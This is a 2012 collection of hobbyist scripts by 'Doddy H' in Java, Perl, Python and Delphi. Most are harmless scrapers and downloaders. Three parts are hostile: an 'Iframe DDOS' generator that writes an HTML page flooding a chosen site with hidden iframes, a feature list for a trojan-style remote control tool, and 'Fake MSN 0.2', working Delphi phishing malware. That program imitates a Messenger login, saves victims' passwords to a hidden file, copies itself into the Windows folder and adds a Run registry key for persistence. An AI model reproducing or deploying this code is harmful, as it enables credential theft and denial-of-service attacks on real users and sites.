/**
 * URL Shorter 0.1
 * Coded By Doddy H
 */
 
import java.util.Scanner;
import java.net.*;
import java.io.*;
 
public class Main {
    public static void main(String[] args) throws Exception {
 
      String pagina;
      String re;
 
      Scanner host = new Scanner(System.in);
      System.out.println("\n\n-- == URL Shorter 0.1 == --\n\n");
      System.out.println("[+] Page : ");
      pagina = host.nextLine();
 
      URL cargar = new URL("http://tinyurl.com/api-create.php?url="+pagina);
      BufferedReader nave = new BufferedReader(
      new InputStreamReader(cargar.openStream()));
 
      while ((re = nave.readLine()) != null)
        System.out.println("\n[+] Link : "+re);
      nave.close();
 
      System.out.println("\n\n-- == Coded By Doddy H == --");
    }
}
 
/**
 * The End ? 
 */
 

/**
 * Iframe DDOS 0.1
 * Coded By Doddy H
 */
 
import java.util.Scanner;
import java.net.*;
import java.io.*;
 
public class Main {
    public static void main(String[] args) throws IOException{
 
      String pagina;
      int cantidad;
      int y;
 
      FileOutputStream fos;
      DataOutputStream dos;
 
      Scanner host = new Scanner(System.in);
      System.out.println("\n\n-- == Iframe DDOS 0.1 == --\n\n");
      System.out.println("[+] Page : ");
      pagina = host.nextLine();
      System.out.println("[+] Count : ");
      cantidad = host.nextInt();
 
      FileWriter ar=new FileWriter("poc.html");
      BufferedWriter go=new BufferedWriter(ar);
      PrintWriter archivo=new PrintWriter(go);
 
      for (y=1;y<=cantidad;y++){
        archivo.println("<iframe src='"+pagina+"' width='3' height='3'></iframe><br>");
      }
      archivo.close();
      System.out.println("\n[+] All done ...");
      System.out.println("\n\n-- == Coded By Doddy H == --");
    }
}
 
/**
 * The End ?
 */
 

#!usr/bin/perl
#El script navideño
#Coded By Doddy H
 
while(true) {
 
my($dia,$mes,$año,$hora,$minutos,$segundos) = agarrate_la_hora();
 
unless($dia eq "25" and $mes eq "12") {
syswrite STDOUT,"[+] Fecha y hora : $dia/$mes/$año $hora:$minutos:$segundos \r";
} else {
syswrite STDOUT,"\n\n[+] Feliz navidad !";
<stdin>;
exit(1); 
}
 
}
 
sub agarrate_la_hora {
 
my ($a,$b,$c,$d,$e,$f,$g,$h,$i) = localtime(time);
 
$f+= 1900;
$e++;
 
return($d,$e,$f,$c,$b,$a);
 
}
 
#The End ? 
 

• Ejecucion de comandos
• Simple GetIP
• Listar procesos activos
• Matar procesos
• Listar archivos de un directorio
• Borrar un archivo o directorio cualquiera
• Leer archivos
• Abrir y cerrar lectora
• Ocultar y mostrar programas del escritorio
• Ocultar y mostrar Taskbar
• Mandar mensajitos molestos
• Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
• Hacer que el teclado escriba solo
• Volver loco al mouse haciendo que se mueva por la pantalla

#!usr/bin/perl
#SMF Manager 0.00001
#Coded By Doddy H
 
#ppm install http://www.bribes.org/perl/ppm/HTML-Strip.ppd
 
use LWP::UserAgent;
use HTTP::Cookies;
 
use HTML::Strip;
 
my $nave = LWP::UserAgent->new(
    cookie_jar            => HTTP::Cookies->new(),
    requests_redirectable => [],
    timeout               => 5,
    agent =>
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
 
print qq(
  @@@   @     @  @@@@@    @     @                                  
 @   @  @     @  @        @     @                                  
 @      @@   @@  @        @@   @@                                  
 @      @@   @@  @        @@   @@   @@@  @ @@   @@@   @@@@  @@@  @@
  @@@   @ @ @ @  @@@@     @ @ @ @      @ @@  @     @ @   @ @   @ @ 
     @  @ @ @ @  @        @ @ @ @   @@@@ @   @  @@@@ @   @ @@@@@ @ 
     @  @  @  @  @        @  @  @  @   @ @   @ @   @ @   @ @     @ 
 @   @  @  @  @  @        @  @  @  @   @ @   @ @   @ @   @ @   @ @ 
  @@@   @     @  @        @     @   @@@@ @   @  @@@@  @@@@  @@@  @ 
                                                         @         
                                                     @@@@          
 
);
 
print "\n\n[+] Page : ";
chomp( my $url = <stdin> );
 
print "\n[+] Username : ";
chomp( my $usera = <stdin> );
 
print "\n[+] Password : ";
chomp( my $passa = <stdin> );
 
## Login
 
print "\n[+] Connecting ....\n\n";
 
my $code = $nave->post(
    $url . "/index.php?action=login2",
    {
        "user"         => $usera,
        "passwrd"      => $passa,
        "cookielength" => "9000",
        "hash_passwrd" => "",
        "submit"       => "submit"
    }
);
 
if ( $code->is_redirect ) {
 
    #print $code->header('location'),"\n";
}
elsif ( $code->is_success ) {
    print $code->as_string, "\n";
}
else {
    print STDERR $code->status_line, "\n";
}
 
my $code = toma( $url . "/SSI.php?ssi_function=welcome" );
 
if ( $code =~ /Hola, <strong>(.*)<\/strong>/ ) {
    my $name = $1;
    print "[+] Welcome $name\n";
}
else {
    print "[-] Error\n";
}
 
##
 
while (1) {
 
    print "\n[+] Options\n\n";
 
    print "1 - See MP\n";
    print "2 - Navegate\n";
    print "3 - Exit\n";
 
    print "\n[+] Option : ";
    chomp( my $op = <stdin> );
 
    if ( $op eq "3" ) {
        exit(1);
    }
 
    if ( $op eq "1" ) {
 
        print qq(
 @     @  @@@@@ 
 @     @  @    @
 @@   @@  @    @
 @@   @@  @    @
 @ @ @ @  @@@@@ 
 @ @ @ @  @     
 @  @  @  @     
 @  @  @  @     
 @     @  @     
 
);
 
        mps($url);
    }
 
    if ( $op eq "2" ) {
        print qq(
 @    @                                        
 @@   @                                @       
 @@   @                                @       
 @ @  @   @@@  @   @  @@@   @@@@  @@@  @@  @@@ 
 @ @  @      @ @   @ @   @ @   @     @ @  @   @
 @  @ @   @@@@  @ @  @@@@@ @   @  @@@@ @  @@@@@
 @   @@  @   @  @ @  @     @   @ @   @ @  @    
 @   @@  @   @   @   @   @ @   @ @   @ @  @   @
 @    @   @@@@   @    @@@   @@@@  @@@@  @  @@@ 
                               @               
                           @@@@                
 
 
);
 
        my $chau2 = 0;
 
        while ( $chau2 eq 0 ) {
 
            print "\n[+] 1 - List Categories\n";
            print "[+] 2 - Exit\n";
 
            print "\n[+] Option : ";
            chomp( my $op = <stdin> );
 
            if ( $op eq "1" ) {
 
                print "\n[+] Searching ...\n\n";
 
                my $code = toma($url);
 
                while ( $code =~
/<a class=\"subject\" href=\"(.*?)\" name=(.*?)>(.*?)<\/a>/migs
                  )
                {
                    print "[+] ID : $2 [+] Name : $3\n";
                }
 
            }
            else {
                $chau2 = 1;
            }
 
        }
 
    }
 
}
 
#gets_list_mp();
#gets_msg_mp();
#gets_msg_now();
 
sub mps {
 
    my $url = shift;
 
    my $chau = "0";
 
    print "\n[+] Searching pages ..\n";
 
    my @founds = gets_list_mp($url);
 
    my $count = int(@founds);
 
    print "\n[+] Pages Found : $count\n";
 
    while ( $chau eq 0 ) {
 
        print "\n[+] 1 - Get List Messages\n";
        print "[+] 2 - Read Message\n";
        print "[+] 3 - Exit\n";
 
        print "\n[+] Option : ";
        chomp( my $op = <stdin> );
 
        if ( $op eq "1" ) {
 
            print "\n[+] Number Page : ";
            chomp( my $op = <stdin> );
 
            print "\n[+] Searching ..\n";
 
            gets_msg_mp( $founds[ $op - 1 ] );
 
        }
        elsif ( $op eq "2" ) {
 
            print "\n[+] Number Page : ";
            chomp( my $n = <stdin> );
 
            print "\n[+] ID : ";
            chomp( my $id = <stdin> );
 
            print "\n[+] Reading ...\n";
 
            gets_msg_now( $founds[ $n - 1 ], $id );
 
        }
        else {
            $chau = 1;
        }
 
    }
}
 
sub gets_msg_now {
 
    my $url = toma( $_[0] );
 
    my $id = "msg_" . $_[1];
 
    if ( $url =~ /<div class=\"inner\" id=\"$id\">(.*?)<\/div>/mig ) {
 
        my $uno = HTML::Strip->new( emit_spaces => 1 );
        my $final = $uno->parse($1);
        $final =~ s/^[\t\f ]+|[\t\f ]+$//mg;
 
        print "\n[START]\n\n";
        print $final;
        print "\n\n[END]\n\n";
 
    }
 
}
 
sub gets_msg_mp {
 
    my $url = toma( $_[0] );
 
    my @ids;
    my @asunto;
    my @nombre;
 
    while ( $url =~ /<td><a href=\"#msg(.*?)\">(.*?)<\/a><\/td>/migs ) {
 
        #print "$1 $2\n";
        push( @ids,    $1 );
        push( @asunto, $2 );
    }
 
    while ( $url =~ /Ver perfil de (.*?)">/migs ) {
 
        #print "$1\n\n";
        push( @nombre, $1 );
    }
 
    my $total = int(@ids) - 1;
 
    for my $num ( 0 .. $total ) {
        print "[+] ID : "
          . $ids[$num]
          . " [+] Asunto : "
          . $asunto[$num]
          . " [+] De : "
          . $nombre[$num] . "\n";
    }
 
}
 
sub gets_list_mp {
 
    my $url = shift;
 
    my @paginas;
    my $code = toma( $url . "/index.php?action=pm" );
 
    push( @paginas, $url . "/index.php?action=pm" );
 
    while ( $code =~ /<a class="navPages" href="(.*?)">(.*?)<\/a>/migs ) {
        push( @paginas, $1 );
    }
 
    my @paginas = repes(@paginas);
 
    return @paginas;
 
}
 
sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}
 
sub toma {
    return $nave->get( $_[0] )->content;
}
 
sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}
 
#The End ?
 

#!usr/bin/python
#MP3 Downloader 0.1
#Coded By Doddy H
 
import sys,urllib,urllib2,re,os,urlparse
 
def toma(web) :
 nave = urllib2.Request(web)
 nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
 op = urllib2.build_opener()
 return op.open(nave).read()
 
def clean():
 if sys.platform=="win32":
  os.system("cls")
 else:
  os.system("clear")
 
def head():
 print """
 
 @     @  @@@@@   @@@     @@@@     @@@@  @         @ @    @
 @     @  @    @ @   @    @   @   @    @ @         @ @@   @
 @@   @@  @    @     @    @    @  @    @  @   @   @  @@   @
 @@   @@  @    @     @    @    @  @    @  @   @   @  @ @  @
 @ @ @ @  @@@@@    @@     @    @  @    @  @   @   @  @ @  @
 @ @ @ @  @          @    @    @  @    @   @ @ @ @   @  @ @
 @  @  @  @          @    @    @  @    @   @ @ @ @   @   @@
 @  @  @  @      @   @    @   @   @    @    @   @    @   @@
 @     @  @       @@@     @@@@     @@@@     @   @    @    @
 
 
 
 
                              Coded By Doddy H
 
 
"""
 
def copyright():
 print "\n\n(C) Doddy Hackman 2012\n"
 raw_input()
 sys.exit(1)
 
def proxar(a,b,c):
 sys.stdout.write("\r[+] Status : %s / %s" % (a * b,c))
 
def down(file,filesave):
 print "\n[+] File to download : "+filesave+"\n"
 try: 	
  urllib.urlretrieve(file,filesave,reporthook=proxar)
 except:
  print "\n[-] Error\n"
  copyright()
 print "\n\n[+] File Download in "+os.curdir+"/"+filesave
 
def buscar(titulo) : 
 
 songs = []
 datas =[]
 links = []
 datas_back = []
 links_back = []
 
 titulo = re.sub(" ","_",titulo)
 
 print "\n\n[+] Searching ...\n"
 
 code = toma("http://mp3skull.com/mp3/"+titulo+".html")
 
 if not (re.findall("Sorry, no results found for",code)):
 
  songs = re.findall("<div style=\"font-size:15px;\"><b>(.*)<\/b><\/div>",code)
  datas_back = re.findall("<!-- info mp3 here -->\s+(.*?)<\/div>",code)
  links_back = re.findall("<a href=\"(.*)\.mp3\"",code)
 
  for datac in datas_back : 
   datac = re.sub("<br />"," ",datac)
   datas.append(datac)
 
  for li in links_back : 
   lic = li+".mp3"
   links.append(lic)
 
  try:
   for counter in range(0,len(songs)):
    print "\n[Song "+str(counter)+"] : "+songs[counter]
    print "[Data] : "+datas[counter]
    print "[Link] : "+links[counter] 
 
  except:
   pass
 
  while 1:
 
   print "\n[+] Options\n"
   print "[+] 1 - Download"
   print "[+] 2 - Search"
   print "[+] 3 - Exit\n"
 
   op = raw_input("[+] Option : ")
 
   if op  == "3":
    print "\n\n[+] Finished\n"
    copyright()  
 
   if op == "2":
    party()
 
   if op == "1":
    num = input("\n[?] Number :")
    down(links[num],os.path.basename(links[num]))
 
 else:
  print "\n[-] Not Found\n";
  raw_input()
  party()
 
def party():
 
 clean()
 head()
 
 bs = raw_input("\n\n[?] Song : ")
 
 buscar(bs)
 
##
 
if not os.path.isdir("mp3_downloads"):
 os.makedirs("mp3_downloads")
 
os.chdir("mp3_downloads")
 
party()
 
##
 
#The End ? 
 

#!usr/bin/perl
#MP3 Downloader 0.1
#Coded By Doddy H
 
use LWP::UserAgent;
use URI::Split qw(uri_split);
use Time::HiRes "usleep";
 
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
 
my $se = "downloads_mp3";
 
unless ( -d $se ) {
    mkdir( $se, "777" );
}
 
chdir $se;
 
head();
 
print "[?] Song : ";
chomp( my $song = <stdin> );
 
$song =~ s/ /-/;
 
print "\n[+] Searching ...\n\n";
 
my $code = toma( "http://mp3skull.com/mp3/" . $song . ".html" );
 
chomp $code;
 
if ( $code =~ /Sorry, no results found for/ ) {
    print "\n[-] Not Found\n";
    copyright();
}
 
my @nombres;
my @datas;
my @links;
 
while ( $code =~ /<div style="font-size:15px;"><b>(.*)<\/b><\/div>/mig ) {
    my $nombre = $1;
 
    #print "name : $nombre\n";
    push( @nombres, $nombre );
}
 
while ( $code =~ /<!-- info mp3 here -->\s+(.*?)<\/div>/migs ) {
    my $data = $1;
    $data =~ s/<br \/>/ /;
    $data =~ s/<br \/>/ /;
 
    #print "data : $data\n";
    push( @datas, $data );
}
 
while ( $code =~ /<a href=\"(.*)\.mp3\"/mig ) {
    my $link = $1 . ".mp3";
 
    #print "link : $link\n";
    push( @links, $link );
}
 
my $encontrados = int(@nombres) - 1;
 
for my $aca ( 0 .. $encontrados ) {
    print "[Song $aca] : $nombres[$aca]\n";
    print "[Data] : $datas[$aca]\n";
    print "[Link] : $links[$aca]\n\n";
}
 
print "\n[?] Number : ";
chomp( my $number = <stdin> );
 
print "\n[+] Downloading ...\n";
 
now( $links[$number] );
 
print "\n[+] Finished\n";
 
copyright();
 
sub head {
 
    my @logo = (
        "#=============================================#", "\n",
        "#             MP3 Downloader 0.1              #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );
 
    print "\n";
 
    marquesina(@logo);
 
    print "\n\n";
 
}
 
sub copyright {
 
    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
 
    print "\n\n";
    marquesina(@fin);
    print "\n\n";
 
    <stdin>;
 
    exit(1);
 
}
 
sub marquesina {
 
    #Effect based in the exploits by Jafer Al Zidjali
 
    my @logo = @_;
 
    my $car = "|";
 
    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {
 
            $|++;
 
            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }
 
    sub mostrar {
        print $_[0];
        $car = $_[1];
    }
 
}
 
sub now {
 
    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
 
    if ( $path =~ /(.*)\/(.*)$/ ) {
        my $file = $2;
        if ( download( $_[0], $file ) ) {
        }
    }
}
 
sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}
 
sub toma {
    return $nave->get( $_[0] )->content;
}
 
#The End ?
 

#=============================================#
#             MP3 Downloader 0.1              #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#


[?] Song : bones now

[+] Searching ...

[Song 0] : Discovery Now - bionic bones mp3
[Data] : 256 kbps 1:30 2.79 mb
[Link] : http://www.whro.org/home/html/podcasts/discoverynow/041408.mp3

[Song 1] : Sean Bones - 'Here Now' mp3
[Data] : 128 kbps 3:28 3.19 mb
[Link] : http://serve.castfire.com/audio/878039/sean-bones-here-now_2012-02-23-1
74939.128.mp3

[Song 2] : Discovery Now - bionic bones mp3
[Data] : 256 kbps  00:01:30 2.8 mb
[Link] : http://whro.org/home/html/podcasts/discoverynow/041408.mp3

[Song 3] : Sean Bones - Here Now mp3
[Data] : 5.02 mb
[Link] : http://www.hulkshare.com/dl/4t42l4kxi811/sean_bones_-_here_now.mp3

[Song 4] : Fuego Ft. Amara - Lo Que Quiero (Prod. By Bones, Now & Laterz) (Www.S
tiloCaro.Com) mp3
[Data] : 4.43 mb
[Link] : http://www.hulkshare.com/dl/w86wxq8bl0n4/fuego_ft._amara_-_lo_que_quier
o_%28prod._by_bones%2c_now_%26_laterz%29.mp3

[Song 5] : Sean Bones - Here Now mp3
[Data] : 160 kbps 3:27 3.95 mb
[Link] : http://myspoonful.com/wp-content/uploads/Sean-Bones-Here-Now.mp3

[Song 6] : Frankie Bones - Bonesbreaks Vol. 2 (B2) On The Beat Now-freestyle na
veia mp3
[Data] : 4:40 mins 6.41 mb
[Link] : http://dc203.4shared.com/img/564370108/97ff8470/dlink__2Fdownload_2FS4X
eLchH_3Ftsid_3D20121127-94941-8934f180/preview.mp3


[?] Number : 1

[+] Downloading ...

[+] Finished


-- == (C) Doddy Hackman 2012 == --

#!usr/bin/perl
#FindIcons 0.1
#Coded By Doddy H
 
use LWP::UserAgent;
use URI::Split qw(uri_split);
use Time::HiRes "usleep";
 
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
 
head();
 
print "[?] Search : ";
chomp( my $se = <stdin> );
 
$se =~ s/ /-/;
 
my $code = toma( "http://findicons.com/search/" . $se );
 
if ( $code =~ /<div class="box_info left">(.*)<\/div>/ ) {
    print "\n[+] $1\n";
 
    unless ( -d $se ) {
        mkdir( $se, "777" );
    }
 
    chdir $se;
 
}
else {
    print "\n[-] Not Found\n";
    copyright();
}
 
print "\n[?] Pages : ";
 
chomp( my $pages = <stdin> );
 
print "\n[+] Downloading ...\n\n";
 
for my $pages ( 1 .. $pages ) {
 
    my $code = toma("http://findicons.com/search/$se/$pages");
 
    while ( $code =~
        /<img src="http:\/\/png-(.*).findicons.com\/files\/(.*)" alt/mig )
    {
        my $link = "http://png-" . $1 . ".findicons.com/files/" . $2;
 
        now($link);
 
    }
 
}
 
print "[+] Finished ...\n";
 
copyright();
 
sub head {
 
    my @logo = (
        "#=============================================#", "\n",
        "#              FindIcons 0.1                  #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );
 
    print "\n";
 
    marquesina(@logo);
 
    print "\n\n";
 
}
 
sub copyright {
 
    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
 
    print "\n\n";
    marquesina(@fin);
    print "\n\n";
 
    <stdin>;
 
    exit(1);
 
}
 
sub marquesina {
 
    #Effect based in the exploits by Jafer Al Zidjali
 
    my @logo = @_;
 
    my $car = "|";
 
    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {
 
            $|++;
 
            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }
 
    sub mostrar {
        print $_[0];
        $car = $_[1];
    }
 
}
 
sub now {
 
    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
 
    if ( $path =~ /(.*)\/(.*)$/ ) {
        my $file = $2;
        if ( download( $_[0], $file ) ) {
        }
    }
}
 
sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}
 
sub toma {
    return $nave->get( $_[0] )->content;
}
 
#The End ?
 

• El programa al cargarse se mueve automaticamente a la carpeta de windows
• El programa se ejecuta cuando Windows se inicia
• Se ocultan los archivos relacionados al programa
• Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos

{
Fake MSN 0.2
Coded By Doddy H
}
 
unit fake;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
 
type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Edit1Click(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Image2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;
 
procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
  Edit2.PasswordChar := '*';
end;
 
procedure TForm1.FormCreate(Sender: TObject);
 
var nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;
 
begin
 
  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;
 
  MoveFile(Pchar(rutareal), Pchar(yalisto));
 
  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;
 
  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;
 
  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
 
end;
 
procedure TForm1.Image2Click(Sender: TObject);
 
var archivo: TextFile;
  ruta: string;
 
begin
 
  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  end
  else
  begin
 
    if Edit1.Text = '' then
    begin
      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; //mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;
 
end;
 
end.
 
// The End ?
 

#!usr/bin/perl
#Counter Strike 1.6 Servers List
#Version 0.1
#Coded By Doddy H
 
use LWP::UserAgent;
use Cwd;
use Time::HiRes "usleep";
 
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
 
my @founds;
my @founds_final;
 
head();
 
print "[+] Pages (1-899) : ";
chomp( my $pag = <stdin> );
 
print "\n\n[+] Searching Servers ....\n";
 
for my $count ( 1 .. $pag ) {
 
    my $code =
      toma( "http://www.gametracker.com/search/cs/?searchipp=50&searchpge="
          . $count );
 
    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
 
    for (@found) {
        push( @founds_final, $_ );
    }
 
}
 
my @founds_final = repes(@founds_final);
 
print "\n[+] Servers Found : " . int(@founds_final);
 
my $ruta_logs = getcwd() . "/" . "cs_servers.txt";
 
if ( -f $ruta_logs ) {
    unlink($ruta_logs);
}
 
open( LOGS, ">>cs_servers.txt" );
 
for (@founds_final) {
    print LOGS $_ . "\n";
}
 
close LOGS;
 
print "\n\n[+] All results are stored in : $ruta_logs\n";
 
if ( -f $ruta_logs ) {
    system($ruta_logs);
}
 
copyright();
 
sub head {
 
    my @logo = (
        "#=============================================#", "\n",
        "#       Counter Strike 1.6 Servers List       #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );
 
    print "\n";
 
    marquesina(@logo);
 
    print "\n\n";
 
}
 
sub copyright {
 
    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
 
    print "\n\n";
    marquesina(@fin);
    print "\n\n";
 
    <stdin>;
 
    exit(1);
 
}
 
sub marquesina {
 
    #Effect based in the exploits by Jafer Al Zidjali
 
    my @logo = @_;
 
    my $car = "|";
 
    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {
 
            $|++;
 
            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }
 
    sub mostrar {
        print $_[0];
        $car = $_[1];
    }
 
}
 
sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}
 
sub toma {
    return $nave->get( $_[0] )->content;
}
 
#The End ?